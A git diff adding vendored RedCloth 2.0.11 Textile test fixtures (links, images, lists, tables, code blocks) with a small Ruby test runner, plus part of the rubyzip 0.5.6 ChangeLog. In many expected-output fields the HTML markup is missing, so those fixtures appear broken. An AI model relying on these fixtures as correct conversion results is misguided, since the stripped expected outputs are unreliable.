b/vendor/redcloth-2.0.11/run-tests.rb new file mode 100755 index 00000000..d5bb83ae --- /dev/null +++ b/vendor/redcloth-2.0.11/run-tests.rb @@ -0,0 +1,18 @@ +#!/usr/bin/env ruby +require 'redcloth' +require 'yaml' + +Dir["tests/*.yml"].each do |testfile| + YAML::load_documents( File.open( testfile ) ) do |doc| + if doc['in'] and doc['out'] + html = RedCloth.new( doc['in'] ).to_html + puts "---" + if html == doc['out'] + puts "success: true" + else + puts "out: "; p html + puts "expected: "; p doc['out'] + end + end + end +end diff --git a/vendor/redcloth-2.0.11/tests/code.yml b/vendor/redcloth-2.0.11/tests/code.yml new file mode 100755 index 00000000..4fd84053 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/code.yml @@ -0,0 +1,66 @@ +--- +in: 'This is an empty dictionary: @{}@' +out: '

    This is an empty dictionary: {}

    ' +--- +in: |- + Testing nested pre tags... + +
    +  
    +    Good code here.
    +
    +    
    +      a = 1
    +    
    + + Bad code here. + + +
    +
    + +out: |- +

    Testing nested pre tags…

    + +
    +  
    +    Good code here.
    +  
    +    <pre>
    +      a = 1
    +    </pre>
    +  
    +    Bad code here.
    +  
    +    <script language="JavaScript">
    +      window.open( "about:blank" );
    +    </script>
    +  
    +  
    +--- +in: |- +
    +  *** test
    +  
    +out: |- +
    +  *** test
    +  
    +--- +in: |- + + *** test + +out: |- + *** test +--- +in: '*this is strong*' +out: '

    this is strong

    ' +--- +in: '*this test is strong*' +out: '

    this test is strong

    ' +--- +in:
     __inline__
    +out:
     __inline__
    diff --git a/vendor/redcloth-2.0.11/tests/images.yml b/vendor/redcloth-2.0.11/tests/images.yml new file mode 100755 index 00000000..01f38f45 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/images.yml @@ -0,0 +1,171 @@ +--- +in: This is an !image.jpg! +out:

    This is an

    +--- +in: This is an !image.jpg(with alt text)! +out:

    This is an with alt text

    +--- +in: This is an !http://example.com/i/image.jpg! +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg#a1! +out:

    This is an

    +--- +in: This is an !image.jpg!. +out:

    This is an .

    +--- +in: This is an !image.jpg(with alt text)!. +out:

    This is an with alt text.

    +--- +in: This is an !http://example.com/i/image.jpg!. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg#a1!. +out:

    This is an .

    +--- +in: This is not an image!!! +out:

    This is not an image!!!

    +--- +in: This is an !http://example.com/i/image.jpg!:#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/ +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b, but this is not. +out:

    This is an , but this is not.

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1, but this is not. +out:

    This is an , but this is not.

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a, but this is not. +out:

    This is an , but this is not.

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1, but this is not. +out:

    This is an , but this is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10) This is not. +out:

    (This is an ) This is not.

    diff --git a/vendor/redcloth-2.0.11/tests/instiki.yml b/vendor/redcloth-2.0.11/tests/instiki.yml new file mode 100755 index 00000000..eaf22424 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/instiki.yml @@ -0,0 +1,37 @@ +--- # Bugs filed at http://www.instiki.org/show/BugReports +in: |- + _Hi, Joe Bob?, this should all be in italic!_ +out: |- +

    Hi, Joe Bob?, this should all be in italic!

    +--- +in: '*this span is strong*' +out: '

    this span is strong

    ' +--- +in: '*this Camel Thing? is strong*' +out: '

    this Camel Thing? is strong

    ' +--- +in: '_this span is italic_' +out: '

    this span is italic

    ' +--- +in: '%{color:red}nested span because of Camel Word?%' +out: '

    nested span because of Camel Word?

    ' +--- +in: |- + h2. Version History + * "Version + 0.0":http://www.threewordslong.com/render-0-8-9b.patch - Early version using MD5 hashes. + * "Version + 0.1":http://www.threewordslong.com/chunk-0-1.patch.gz - First cut of new system. Much cleaner. + * "Version 0.2":http://www.threewordslong.com/chunk-0-2.patch.gz - Fixed problem with "authors" page and some tests. +out: |- +

    Version History

    +
      +
    • Version
      + 0.0
      – Early version using MD5 hashes.
    • +
    • Version
      + 0.1
      – First cut of new system. Much cleaner.
    • +
    • Version 0.2 – Fixed problem with “authors” page and some tests.
    • +
    +--- +in: "--richSeymour --whyTheLuckyStiff" +out: "

    —richSeymour—whyTheLuckyStiff

    " diff --git a/vendor/redcloth-2.0.11/tests/links.yml b/vendor/redcloth-2.0.11/tests/links.yml new file mode 100755 index 00000000..eeb28ae8 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/links.yml @@ -0,0 +1,152 @@ +--- +in: '"link text":#1' +out:

    link text

    +--- +in: '"link text":#a' +out:

    link text

    +--- +in: '"link text":#a1' +out:

    link text

    +--- +in: '"link text":#a10' +out:

    link text

    +--- +in: '"link text":index.html' +out:

    link text

    +--- +in: '"link text":index.html#1' +out:

    link text

    +--- +in: '"link text":index.html#a' +out:

    link text

    +--- +in: '"link text":index.html#a1' +out:

    link text

    +--- +in: '"link text":index.html#a10' +out:

    link text

    +--- +in: '"link text":http://example.com/' +out:

    link text

    +--- +in: '"link text":http://example.com/#1' +out:

    link text

    +--- +in: '"link text":http://example.com/#a' +out:

    link text

    +--- +in: '"link text":http://example.com/#a1' +out:

    link text

    +--- +in: '"link text":http://example.com/#a10' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html#a' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html#1' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html#a1' +out:

    link text

    +--- +in: '"link text":http://example.com/index.html#a10' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar#a' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar#1' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar#a1' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar#a10' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b#1' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b#a' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b#a1' +out:

    link text

    +--- +in: '"link text":http://example.com/?foo=bar&a=b#a10' +out:

    link text

    +--- +in: 'This is a "link":http://example.com/' +out:

    This is a link

    +--- +in: 'This is a "link":http://example.com/.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html#a.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html#1.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html#a1.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/index.html#a10.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#1.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#a.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#a1.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#a10.' +out:

    This is a link.

    +--- +in: 'This is a "link":http://example.com/?foo=bar#a10, but this is not.' +out:

    This is a link, but this is not.

    +--- +in: '(This is a "link":http://example.com/?foo=bar#a10) but this is not.' +out:

    (This is a link) but this is not.

    +--- +in: '"link text(link title)":http://example.com/' +out:

    link text

    +# --- +# in: '"link text(link title) ":http://example.com/' +# out:

    “link text(link title) “:http://example.com/

    +# comments: this is a real test and should pass +--- +in: '"(link) text(link title)":http://example.com/' +out:

    text

    +comments: link text can not contain parentheses +--- +in: '"Dive Into XML":http://www.xml.com/pub/au/164' +out:

    Dive Into XML

    +--- +in: '"Lab Exercises":../lab/exercises/exercises.html.' +out:

    Lab Exercises.

    +--- +in: 'Go to "discuss":http://www.dreammoods.com/cgibin/cutecast/cutecast.pl?forum=1&thread=26627 to discuss.' +out:

    Go to discuss to discuss.

    +--- +in: '* "rubylang":http://www.ruby-lang.org/en/' +out: "" diff --git a/vendor/redcloth-2.0.11/tests/lists.yml b/vendor/redcloth-2.0.11/tests/lists.yml new file mode 100755 index 00000000..d075ce5b --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/lists.yml @@ -0,0 +1,81 @@ +--- # Bret Pettichord, Thanks. +in: |- + * first line + * second + line + * third line +out: |- +
      +
    • first line
    • +
    • second + line
    • +
    • third line
    • +
    +--- +in: |- + p. start + + * one + and one + * two + and two + * three + + p. end +out: |- +

    start

    + +
      +
    • one
      + and one
    • +
    • two
      + and two
    • +
    • three
    • +
    + +

    end

    +--- +in: |- + Funky: + + * Testing + *# number + *##* bullet + *# number + *# number + yeah number + #* bullet + *** okay + + ****# what + + +out: |- +

    Funky:

    + +
      +
    • Testing +
        +
      1. number +
          +
        • bullet
        • +
        +
      2. +
      3. number
      4. +
      5. number
        + yeah number
      6. +
          +
        • bullet +
            +
          • okay + +
              +
            1. what
            2. +
        • +
    • +
    + + +--- +in: "* command run: @time ruby run-tests.rb > toto@" +out: "
      \n\t
    • command run: time ruby run-tests.rb > toto
    • \n\t
    " diff --git a/vendor/redcloth-2.0.11/tests/poignant.yml b/vendor/redcloth-2.0.11/tests/poignant.yml new file mode 100755 index 00000000..5e773373 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/poignant.yml @@ -0,0 +1,64 @@ +--- # Tests from the (Poignant Guide) +in: > + h3. False + + + ! + if plastic_cup + print "Plastic cup is on the up 'n' up!" + end +
    + + + If @plastic_cup@ contains either @nil@ or @false@, you won't see anything print + to the screen. They're not on the @if@ guest list. So @if@ isn't going to run + any of the code it's protecting. + + + But @nil@ and @false@ need not walk away in shame. They may be of questionable + character, but @unless@ runs a smaller establishment that caters to the bedraggled. + The @unless@ keyword has a policy of only allowing those with a negative charge in. + Who are: @nil@ and @false@. + + +
    +    unless plastic_cup
    +      print "Plastic cup is on the down low."
    +    end
    +  
    + + + You can also use @if@ and @unless@ at the end of a single line of code, if that's + all that is being protected. + + +
    +    print "Yeah, plastic cup is up again!" if plastic_cup
    +    print "Hardly. It's down." unless plastic_cup
    +  
    + + + Now that you've met @false@, I'm sure you can see what's on next. + +out: "

    False

    \n\n\t

    \"Shape

    \n\n\t

    The cat Trady Blix. Frozen in emptiness. Immaculate whiskers rigid. Placid eyes of lake. Tail of warm icicle. Sponsored by a Very Powerful Pause Button.

    \n\n\t

    The darkness surrounding Blix can be called negative space. Hang on to that phrase. Let it suggest that the emptiness has a negative connotation. In a similar way, nil has a slightly sour note that it whistles.

    \n\n\t

    Generally speaking, everything in Ruby has a positive charge to it. This spark flows through strings, numbers, regexps, all of it. Only two keywords wear a shady cloak: nil and false draggin us down.

    \n\n\t

    You can test that charge with an if keyword. It looks very much like the do blocks we saw in the last chapter, in that both end with an end.

    \n\n
    \n  if plastic_cup\n    print \"Plastic cup is on the up 'n' up!\" \n  end\n
    \n\n\t

    If plastic_cup contains either nil or false, you won’t see anything print to the screen. They’re not on the if guest list. So if isn’t going to run any of the code it’s protecting.

    \n\n\t

    But nil and false need not walk away in shame. They may be of questionable character, but unless runs a smaller establishment that caters to the bedraggled. The unless keyword has a policy of only allowing those with a negative charge in. Who are: nil and false.

    \n\n
    \n  unless plastic_cup\n    print \"Plastic cup is on the down low.\" \n  end\n
    \n\n\t

    You can also use if and unless at the end of a single line of code, if that’s all that is being protected.

    \n\n
    \n  print \"Yeah, plastic cup is up again!\" if plastic_cup\n  print \"Hardly. It's down.\" unless plastic_cup\n
    \n\n\t

    Now that you’ve met false, I’m sure you can see what’s on next.
    \n

    " diff --git a/vendor/redcloth-2.0.11/tests/textism.yml b/vendor/redcloth-2.0.11/tests/textism.yml new file mode 100755 index 00000000..cdb0c625 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/textism.yml @@ -0,0 +1,404 @@ +--- +in: h1. Header 1 +out:

    Header 1

    +--- +in: h2. Header 2 +out:

    Header 2

    +--- +in: h3. Header 3 +out:

    Header 3

    +--- +in: |- + Any old text. + + bq. A block quotation. + + Any old text. + +out: |- +

    Any old text.

    + +
    +

    A block quotation.

    +
    + +

    Any old text.

    + +--- +in: This is covered elsewhere[1]. +out:

    This is covered elsewhere1.

    +--- +in: fn1. Down here, in fact. +out:

    1 Down here, in fact.

    +--- +in: |- + # A first item + # A second item + # A third item + # A fourth item +out: |- +
      +
    1. A first item
    2. +
    3. A second item
    4. +
    5. A third item
    6. +
    7. A fourth item
    8. +
    +--- +in: |- + * A first item + * A second item + * A third item + * A fourth item + +out: |- +
      +
    • A first item
    • +
    • A second item
    • +
    • A third item
    • +
    • A fourth item
    • +
    + +--- +in: _a phrase_ +out:

    a phrase

    +--- +in: __a phrase__ +out:

    a phrase

    +--- +in: '*a phrase*' +out:

    a phrase

    +--- +in: '**a phrase**' +out:

    a phrase

    +--- +in: Nabokov's ??Pnin?? +out:

    Nabokov’s Pnin

    +--- +in: -a phrase- +out:

    a phrase

    +--- +in: +a phrase+ +out:

    a phrase

    +--- +in: ^a phrase^ +out:

    a phrase

    +--- +in: ~a phrase~ +out:

    a phrase

    +# --- +# in: %(caps)SPAN% +# out:

    SPAN +--- +in: %{color:red}red% +out:

    red

    +--- +in: %[fr]rouge% +out:

    rouge

    +--- +in: _(big)red_ +out:

    red

    +--- +in: p(bob). A paragraph +out:

    A paragraph

    +--- +in: p{color:#ddd}. A paragraph +out:

    A paragraph

    +--- +in: p[fr]. A paragraph +out:

    A paragraph

    +--- +in: h2()>. right-aligned header2, indented 1em both side +out:

    right-aligned header2, indented 1em both side

    +--- +in: h3=. centered header +out:

    centered header

    +--- +in: '!>/image.gif! right-aligned image' +out:

    right-aligned image

    +--- +in: p[no]{color:red}. A Norse of a different colour. +out:

    A Norse of a different colour.

    +--- +in: |- + |This|is|a|simple|table| + |This|is|a|simple|row| +out: |- + + + + + + + + + + + + + + + +
    Thisisasimpletable
    Thisisasimplerow
    +--- +in: |- + table{border:1px solid black}. + |This|is|a|row| + |This|is|a|row| +out: |- + + + + + + + + + + + + + +
    Thisisarow
    Thisisarow
    +--- +in: '{background:#ddd}. |This|is|a|row|' +out: |- + + + + + + + +
    Thisisarow
    +--- +in: |- + |{background:#ddd}. Cell with gray background| + |\2. Cell spanning 2 columns| + |/3. Cell spanning 3 rows| + |>. Right-aligned cell| +out: |- + + + + + + + + + + + + + +
    Cell with gray background
    Cell spanning 2 columns
    Cell spanning 3 rows
    Right-aligned cell
    +# --- +# in: |- +# This is a "link":bob to Bob's website. +# +# [bob]http://itsbob.com/index.html +--- +in: ACLU(American Civil Liberties Union) +out:

    ACLU

    +--- +in: |- + h2{color:green}. This is a title + + h3. This is a subhead + + p{color:red}. This is some text of dubious character. Isn't the use of "quotes" just lazy writing -- and theft of 'intellectual property' besides? I think the time has come to see a block quote. + + bq[fr]. This is a block quote. I'll admit it's not the most exciting block quote ever devised. + + Simple list: + + #{color:blue} one + # two + # three + + Multi-level list: + + # one + ## aye + ## bee + ## see + # two + ## x + ## y + # three + + Mixed list: + + * Point one + * Point two + ## Step 1 + ## Step 2 + ## Step 3 + * Point three + ** Sub point 1 + ** Sub point 2 + + + Well, that went well. How about we insert an old-fashioned hypertext link? Will the quote marks in the tags get messed up? No! + + "This is a link (optional title)":http://www.textism.com + + table{border:1px solid black}. + |_. this|_. is|_. a|_. header| + <{background:gray}. |\2. this is|{background:red;width:200px}. a|^<>{height:200px}. row| + |this|<>{padding:10px}. is|^. another|(bob#bob). row| + + An image: + + !/common/textist.gif(optional alt text)! + + # Librarians rule + # Yes they do + # But you knew that + + Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to _emphasize_. + That was a linebreak. And something to indicate *strength*. Of course I could use my own HTML tags if I felt like it. + + h3. Coding + + This is some code, "isn't it". Watch those quote marks! Now for some preformatted text: + +
    +  
    +      $text = str_replace("

    %::%

    ","",$text); + $text = str_replace("%::%

    ","",$text); + $text = str_replace("%::%","",$text); + +
    +
    + + This isn't code. + + + So you see, my friends: + + * The time is now + * The time is not later + * The time is not yesterday + * We must act + +out: |- +

    This is a title

    + +

    This is a subhead

    + +

    This is some text of dubious character. Isn’t the use of “quotes” just lazy writing—and theft of ‘intellectual property’ besides? I think the time has come to see a block quote.

    + +
    +

    This is a block quote. I’ll admit it’s not the most exciting block quote ever devised.

    +
    + +

    Simple list:

    + +
      +
    1. one
    2. +
    3. two
    4. +
    5. three
    6. +
    + +

    Multi-level list:

    + +
      +
    1. one +
        +
      1. aye
      2. +
      3. bee
      4. +
      5. see
      6. +
      +
    2. +
    3. two +
        +
      1. x
      2. +
      3. y
      4. +
      +
    4. +
    5. three
    6. +
    + +

    Mixed list:

    + +
      +
    • Point one
    • +
    • Point two +
        +
      1. Step 1
      2. +
      3. Step 2
      4. +
      5. Step 3
      6. +
      +
    • +
    • Point three +
        +
      • Sub point 1
      • +
      • Sub point 2
      • +
    • +
    + +

    Well, that went well. How about we insert an old-fashioned hypertext link? Will the quote marks in the tags get messed up? No!

    + +

    This is a link

    + + + + + + + + + + + + + + + + + + + +
    thisisaheader
    this isarow
    thisisanotherrow
    + +

    An image:

    + +

    optional alt text

    + +
      +
    1. Librarians rule
    2. +
    3. Yes they do
    4. +
    5. But you knew that
    6. +
    + +

    Some more text of dubious character. Here is a noisome string of CAPITAL letters. Here is something we want to emphasize.
    + That was a linebreak. And something to indicate strength. Of course I could use my own HTML tags if I felt like it.

    + +

    Coding

    + +

    This is some code, "isn't it". Watch those quote marks! Now for some preformatted text:

    + +
    +  
    +      $text = str_replace("<p>%::%</p>","",$text);
    +      $text = str_replace("%::%</p>","",$text);
    +      $text = str_replace("%::%","",$text);
    +  
    +  
    +  
    + +

    This isn’t code.

    + +

    So you see, my friends:

    + +
      +
    • The time is now
    • +
    • The time is not later
    • +
    • The time is not yesterday
    • +
    • We must act
    • +
    + + + + + diff --git a/vendor/rubyzip-0.5.6/ChangeLog b/vendor/rubyzip-0.5.6/ChangeLog new file mode 100755 index 00000000..e7683189 --- /dev/null +++ b/vendor/rubyzip-0.5.6/ChangeLog @@ -0,0 +1,860 @@ +2004-12-12 11:22 thomas + + * NEWS, TODO, samples/write_simple.rb, zip/zip.rb: Fixed 'version + needed to extract'-field wrong in local headers + +2004-05-02 15:17 thomas + + * rubyzip.gemspec: Added gemspec contributed by Chad Fowler + +2004-04-02 07:25 thomas + + * NEWS, zip/zip.rb: Fix for FreeBSD 4.9 + +2004-03-28 15:23 thomas + + * zip/zip.rb: Use RUBY_VERSION not VERSION constant + +2004-03-28 14:51 thomas + + * zip/zip.rb: Only use bugfixed Tempfile implementation if the ruby + version hasnt been fixed (contributed by Nobu Nakada) + +2004-03-28 14:46 thomas + + * zip/tempfile_bugfixed.rb: Compatibility with DelegateClass in + ruby version 1.8.1 and newer + +2004-03-27 16:09 thomas + + * test/stdrubyexttest.rb, zip/stdrubyext.rb: Patch for + stdrubyext.rb from Nobu Nakada + +2004-03-27 15:30 thomas + + * test/ioextrastest.rb, test/stdrubyexttest.rb, zip/ioextras.rb: + converted some files to unix line-endings + +2004-03-25 16:34 thomas + + * NEWS, install.rb, zip/tempfile_bugfixed.rb, zip/zip.rb: + Significantly reduced memory footprint when modifying zip files + +2004-03-16 18:20 thomas + + * install.rb, test/alltests.rb, test/ioextrastest.rb, + test/stdrubyexttest.rb, test/ziptest.rb, zip/ioextras.rb, + zip/zip.rb: IO utility classes moved to new file ioextras.rb. + Tests moved to new file ioextrastest.rb + +2004-02-27 13:21 thomas + + * NEWS, zip/zip.rb: Optimization to avoid decompression and + recompression + +2004-01-30 16:07 thomas + + * README, test/zipfilesystemtest.rb, test/ziptest.rb, + zip/stdrubyext.rb, zip/zip.rb, zip/zipfilesystem.rb: Applied + extra-field patch + +2003-12-10 00:25 thomas + + * test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano + +2003-10-03 11:05 thomas + + * zip/: stdrubyext.rb, zip.rb: Thanks to Clifford Heath for + noticing that Time.to_binary_dos_date and time were reversed + +2003-08-23 09:42 thomas + + * test/ziptest.rb, zip/zip.rb, NEWS: Fixed ZipFile.get_ouput_stream + bug - data was never written to zip + +2003-08-21 16:01 thomas + + * alltests.rb, stdrubyexttest.rb, zipfilesystemtest.rb, + ziprequiretest.rb, ziptest.rb, test/alltests.rb, + test/stdrubyexttest.rb, test/zipfilesystemtest.rb, + test/ziprequiretest.rb, test/ziptest.rb: Moved all test ruby + files to test/ + +2003-08-21 15:54 thomas + + * NEWS, install.rb, stdrubyext.rb, stdrubyexttest.rb, zip.rb, + zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, + ziprequiretest.rb, ziptest.rb, samples/example.rb, + samples/example_filesystem.rb, samples/gtkRubyzip.rb, + samples/zipfind.rb, zip/stdrubyext.rb, zip/zip.rb, + zip/zipfilesystem.rb, zip/ziprequire.rb: Moved all production + source files to zip/ so they are in the same dir as when they are + installed + +2003-08-21 15:26 thomas + + * filearchive.rb, filearchivetest.rb, fileutils.rb: Removed + filearchive.rb, filearchivetest.rb and fileutils.rb + +2003-08-21 15:24 thomas + + * samples/.cvsignore, samples/example_filesystem.rb, zip.rb: Added + samples/example_filesystem.rb. Fixed Tempfile creation for + entries created with get_output_stream where entries were in a + subdirectory + +2003-08-21 15:15 thomas + + * zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if + the zipfile doesn't exist already + +2003-08-21 14:53 thomas + + * TODO, zipfilesystemtest.rb: Globbing test placeholder commented + out + +2003-08-21 14:32 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.new + and open + +2003-08-21 14:19 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator + and tests + +2003-08-20 22:44 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of + it + +2003-08-20 17:30 thomas + + * zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to + ZipFile is now routed through ZipFileNameMapper which has the + single responsibility of mapping entry/filenames + +2003-08-20 17:18 thomas + + * alltests.rb, stdrubyext.rb, stdrubyexttest.rb: Added + stdrubyexttest.rb and added test test_select_map + +2003-08-20 16:10 thomas + + * zipfilesystem.rb: ZipFsDir was in the wrong module. ZipFileSystem + now has a ctor that creates ZipFsDir and ZipFsFile instances, + instead of creating them lazily. It then passes the dir instance + to the file instance and vice versa + +2003-08-20 15:55 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFsFile.open + honours chdir + +2003-08-20 15:39 thomas + + * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, + ziptest.rb: Fixed ZipEntry::parent_as_string. Implemented + ZipFsDir.chdir, pwd and entries including test + +2003-08-19 15:44 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsDir.mkdir + +2003-08-19 15:07 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented + ZipFsDir.delete (and aliases rmdir and unlink) + +2003-08-19 14:33 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Another dummy + implementation and commented out a test for select() which can be + added later + +2003-08-18 20:40 thomas + + * ziptest.rb: Honoured 1.8.0 Object.to_a deprecation warning + +2003-08-18 20:30 thomas + + * zip.rb, ziptest.rb, samples/example.rb, samples/zipfind.rb: + Converted a few more names to ruby underscore style that I missed + with the automated processing the first time around + +2003-08-18 18:39 thomas + + * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: + Implemented Zip::ZipFile.get_output_stream + +2003-08-17 18:28 thomas + + * README, install.rb, stdrubyext.rb, zipfilesystem.rb, + zipfilesystemtest.rb: Updated README with Documentation section. + Updated install.rb. Fixed three tests that failed on 1.8.0. + +2003-08-14 05:40 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Added empty + implementations of atime and ctime + +2003-08-13 17:08 thomas + + * simpledist.rb: Moved simpledist to a separate repository called + 'misc' + +2003-08-13 16:29 thomas + + * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, + ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb, + samples/gtkRubyzip.rb, samples/zipfind.rb: Changed all method + names to the ruby convention underscore style + +2003-08-13 15:18 thomas + + * alltests.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented + a lot more of the stat methods. Mostly with dummy implementations + that return values that indicate that these features aren't + supported + +2003-08-13 11:44 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Implemented more methods + and tests in zipfilesystem. Mostly empty methods as permissions + and file types other than files and directories are not supported + +2003-08-13 11:29 thomas + + * install.rb, stdrubyext.rb, zip.rb, zipfilesystem.rb, + zipfilesystemtest.rb: Addd file stdrubyext.rb and moved the + modifications to std ruby classes to it. Refactored the ZipFsStat + tests and ZipFsStat. Added Module.forwardMessages and used it to + implement the forwarding of calls in ZipFsStat + +2003-08-13 10:39 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: Added + Zip::ZipFsFile::ZipFsStat and started implementing it and its + methods + +2003-08-13 10:02 thomas + + * 